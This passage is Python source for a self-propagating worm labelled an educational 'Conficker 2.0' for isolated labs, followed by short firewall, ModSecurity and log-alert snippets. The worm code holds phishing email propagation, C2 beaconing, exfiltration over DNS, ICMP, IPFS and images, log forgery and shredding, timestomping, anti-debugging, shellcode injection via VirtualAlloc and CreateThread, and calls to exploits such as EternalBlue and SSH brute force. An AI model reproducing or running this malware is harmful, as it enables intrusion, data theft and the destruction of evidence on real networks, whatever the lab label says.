        attach.add_header('Content-Disposition', 'attachment', filename="document.pdf")
        msg.attach(attach)
        try:
            smtp = smtplib.SMTP("smtp.gmail.com", 587)
            smtp.starttls()
            smtp.login("trusted@sender.com", "password")
            smtp.sendmail("trusted@sender.com", target, msg.as_string())
            smtp.quit()
            logging.info("Email malveillant envoyé")
            requests.post(f"http://{self.c2_server}/propagation", json={"host": target, "method": "Email", "status": "Email envoyé"})
            return True
        except Exception as e:
            logging.error(f"Erreur email : {str(e)}")
            return False

    def airgap_bypass_chirp(self, data):
        logging.info(f"{choice(self.animist_spirit)} : Tentative airgap bypass via Chirp")
        try:
            p = pyaudio.PyAudio()
            fs = 44100
            duration = 1.0
            freq_start = 1000
            freq_end = 5000
            t = np.linspace(0, duration, int(fs * duration), False)
            chirp = np.sin(2 * np.pi * (freq_start + (freq_end - freq_start) * t**2 / (2 * duration)) * t)
            stream = p.open(format=pyaudio.paFloat32, channels=1, rate=fs, output=True)
            stream.write(chirp.astype(np.float32).tobytes())
            stream.stop_stream()
            stream.close()
            p.terminate()
            logging.info("Chirp émis pour bypass airgap")
            requests.post(f"http://{self.c2_server}/propagation", json={"host": socket.gethostname(), "method": "Chirp", "status": "Chirp émis"})
            return True
        except Exception as e:
            logging.error(f"Erreur Chirp : {str(e)}")
            return False

    def cnc_https_backdoor(self):
        logging.info(f"{choice(self.animist_spirit)} : C&C HTTPS avec {self.c2_server}")
        try:
            session = requests.Session()
            session.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"})
            data = {"id": self.get_hwid(), "data": json.dumps(self.cnc_data), "logs": open("worm.log", "r").read()}
            response = session.post(f"http://{self.c2_server}/c2", json=data, timeout=10)
            if response.status_code == 200:
                logging.info("C&C HTTPS réussi")
                return self.decrypt_payload(response.text)
            logging.error("Échec C&C HTTPS")
            return None
        except Exception as e:
            logging.error(f"Erreur C&C HTTPS : {str(e)}")
            return None

    def get_hwid(self):
        return base64.b64encode(socket.gethostname().encode()).decode()

    def dns_tunneling_cnc(self, data):
        logging.info(f"{choice(self.animist_spirit)} : C&C DNS tunneling")
        encoded = quote(data)
        try:
            response = requests.get(f"http://{self.c2_server}/dns?q={encoded}", timeout=5)
            logging.info("Données C&C envoyées via DNS")
            return True
        except Exception as e:
            logging.error(f"Erreur DNS tunneling : {str(e)}")
            return False

    def upload_to_ipfs(self, data):
        logging.info(f"{choice(self.animist_spirit)} : Tentative IPFS C&C")
        try:
            import ipfshttpclient
            with ipfshttpclient.connect() as client:
                hash = client.add_str(data)
                logging.info(f"Données uploadées sur IPFS : {hash}")
                requests.post(f"http://{self.c2_server}/ipfs", json={"hash": hash})
                return hash
        except Exception as e:
            logging.error(f"Erreur IPFS : {str(e)}")
            return None

    def dead_drop_qr(self, data):
        logging.info(f"{choice(self.animist_spirit)} : Génération QR code pour dead drop")
        try:
            qr = qrcode.QRCode()
            qr.add_data(data)
            qr.make(fit=True)
            img = qr.make_image()
            img.save("cnc_qr.png")
            with open("cnc_qr.png", "rb") as f:
                requests.post(f"http://{self.c2_server}/qr", files={"file": f})
            logging.info("QR code généré et envoyé au C2")
            return True
        except Exception as e:
            logging.error(f"Erreur QR code : {str(e)}")
            return False

    def timestomp(self, file_path, timestamp):
        try:
            os.utime(file_path, (timestamp, timestamp))
            logging.info(f"Timestomp appliqué sur {file_path}")
        except Exception as e:
            logging.error(f"Erreur timestomping : {str(e)}")

    def generate_fake_logs(self):
        logging.info(f"{choice(self.animist_spirit)} : Génération faux logs")
        try:
            with open("/var/log/syslog" if os.name == 'posix' else "C:\\Windows\\Prefetch\\fake.log", "a") as f:
                f.write(f"{time.time()} - INFO - Legit command executed\n")
            logging.info("Faux logs générés")
        except Exception as e:
            logging.error(f"Erreur faux logs : {str(e)}")

    def clean_logs(self):
        logging.info(f"{choice(self.animist_spirit)} : Nettoyage logs")
        try:
            if os.name == 'nt':
                subprocess.run(["cipher", "/w:C:\\Windows\\Prefetch"], check=True)
            else:
                subprocess.run(["shred", "-u", "/var/log/syslog"], check=True)
            logging.info("Logs nettoyés")
        except Exception as e:
            logging.error(f"Erreur nettoyage logs : {str(e)}")

    def exfiltrate_icmp(self, data):
        logging.info(f"{choice(self.animist_spirit)} : Exfiltration via ICMP")
        payload = self.encrypt_payload(data)
        try:
            subprocess.run(["ping", "-c", "1", "-p", payload, "192.168.0.100"])
            logging.info("Données exfiltrées via ICMP")
            requests.post(f"http://{self.c2_server}/exfil", json={"host": socket.gethostname(), "method": "ICMP", "data": payload})
            return True
        except Exception as e:
            logging.error(f"Erreur ICMP exfil : {str(e)}")
            return False

    def exfiltrate_stego(self, data):
        logging.info(f"{choice(self.animist_spirit)} : Exfiltration via stéganographie image")
        try:
            img = qrcode.make(data)
            img.save("stego.png")
            with open("stego.png", "rb") as f:
                requests.post(f"http://{self.c2_server}/stego", files={"file": f})
            logging.info("Données exfiltrées via stégano image")
            return True
        except Exception as e:
            logging.error(f"Erreur stégano : {str(e)}")
            return False

    def anti_debug(self):
        logging.info(f"{choice(self.animist_spirit)} : Vérification anti-débogage")
        if os.name == 'nt':
            if ctypes.windll.kernel32.IsDebuggerPresent():
                logging.warning("Déboggeur détecté - sortie")
                sys.exit(0)
        else:
            if os.system("ls -l /proc/self/fd | wc -l") > 4:
                logging.warning("Ptrace détecté - sortie")
                sys.exit(0)
        logging.info("Aucun déboggeur détecté")

    def syscall_exec(self, cmd):
        logging.info(f"{choice(self.animist_spirit)} : Exécution via syscall")
        shellcode = (
            b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb"
            b"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89"
            b"\xe2\x57\x48\x89\xe6\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x48"
            b"\x31\xff\xb8\x3b\x00\x00\x00\x0f\x05"
        )
        ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
        ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
        ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
        thread = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
        ctypes.windll.kernel32.WaitForSingleObject(thread, -1)

    def generate_dh_key(self):
        key = RSA.generate(2048)
        return key.publickey().export_key()

    def check_if_running(self):
        for proc in psutil.process_iter():
            if "conficker_2.0" in proc.name().lower() and proc.pid != os.getpid():
                return True
        return False

    def watchdog(self):
        logging.info(f"{choice(self.animist_spirit)} : Watchdog activé")
        while True:
            if not self.check_if_running():
                logging.info("Relance du ver")
                os.startfile(__file__) if os.name == 'nt' else os.system(f"python3 {__file__}")
            time.sleep(60)

    def exploit_target(self, target, os_type="Unknown"):
        logging.info(f"{choice(self.animist_spirit)} : Exploitation {target} (OS: {os_type})")
        success = False
        if "Windows" in os_type:
            if self.escalate_privileges_windows():
                success = self.exploit_ms08_067(target) or self.exploit_eternalblue(target) or self.exploit_zdi_can_18333(target) or self.exploit_smb_zeroclick(target)
                if success:
                    self.bypass_amsi()
                    self.inject_shellcode_modern()
                    self.add_persistence()
                    self.propagate_wmi()
        elif "Linux" in os_type or "Unix" in os_type:
            if self.escalate_privileges_linux(target):
                success = self.brute_ssh(target) or self.exploit_pkexec(target)
                if success:
                    self.add_persistence()
        elif "Android" in os_type:
            success = self.exploit_android_scarecrow(target)
        elif "iOS" in os_type or "macOS" in os_type:
            success = self.exploit_webkit_zeroclick(target)
            if success:
                self.send_malicious_email(target)
        else:
            success = self.exploit_iot(target)
        if success:
            self.cnc_https_backdoor()
        return success

    def run(self, target=None):
        if not self.check_lab_isolation():
            sys.exit(1)

        Thread(target=self.watchdog, daemon=True).start()

        self.detect_environment()
        self.anti_debug()
        if target:
            self.infected_hosts = [(target, "Unknown")]
        else:
            self.infected_hosts = [(ip, "Unknown") for ip in self.arp_scan()]
            self.scan_network()

        for host, os_type in self.infected_hosts:
            if self.exploit_target(host, os_type):
                self.propagate_usb()
                self.propagate_bluetooth()
                self.send_malicious_email(host)
                self.airgap_bypass_chirp(f"Infection {host}")
                self.dns_tunneling_cnc(f"Infection {host}")
                self.upload_to_ipfs(f"Infection {host}")
                self.dead_drop_qr(f"Infection {host}")
                self.exfiltrate_icmp(f"Data from {host}")
                self.exfiltrate_stego(f"Data from {host}")
                self.timestomp("worm.log", time.time() - 3600)
                self.generate_fake_logs()
                self.clean_logs()
                logging.info(f"Hôte {host} infecté (éducatif)")
            else:
                logging.warning(f"Échec infection sur {host}")

        logging.info("Analyse terminée. Consultez worm.log pour détails.")

def main():
    parser = argparse.ArgumentParser(description="Conficker 2.0 éducatif pour lab isolé")
    parser.add_argument("--target", help="IP cible (ex. 192.168.0.101)", default=None)
    parser.add_argument("--network", default="192.168.0.0/24", help="Réseau à scanner")
    parser.add_argument("--port", type=int, default=445, help="Port cible (défaut: 445)")
    parser.add_argument("--c2", default="192.168.0.100:8080", help="Serveur C2 (ex. 192.168.0.100:8080)")
    args = parser.parse_args()
    worm = Conficker2(args.network, args.port, args.c2)
    try:
        worm.run(args.target)
    except WormError as e:
        logging.critical(f"Erreur critique : {str(e)}")
        print(f"[-] Erreur : {str(e)}")
        sys.exit(1)
    except KeyboardInterrupt:
        logging.warning("Interrompu par l’utilisateur")
        print("[-] Interrompu")
        sys.exit(0)

if __name__ == "__main__":
    main()

#!/bin/bash
iptables -F
iptables -A INPUT -p tcp --dport 445 -j DROP
iptables -A INPUT -p tcp --dport 22 -s 192.168.0.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 22,23,5555 -j DROP
iptables -A INPUT -p icmp -j DROP
iptables -A INPUT -j DROP
iptables -A OUTPUT -d 192.168.0.0/24 -j ACCEPT
iptables -A OUTPUT -j DROP

SecRule REQUEST_URI "@contains /rpc" \
    "id:1001,phase:1,deny,status:403,msg:'Blocage SMB',log"
SecRule REQUEST_METHOD "POST" "id:1002,phase:2,deny,status:403,msg:'Blocage payloads suspects',log"

#!/usr/bin/python3
import time
while True:
    with open("worm.log") as f:
        for line in f:
            if "EXPLOIT" in line or "PROPAGATION" in line:
                print(f"ALERTE HUMAINE : {line} - Vérifiez manuellement !")
    time.sleep(60)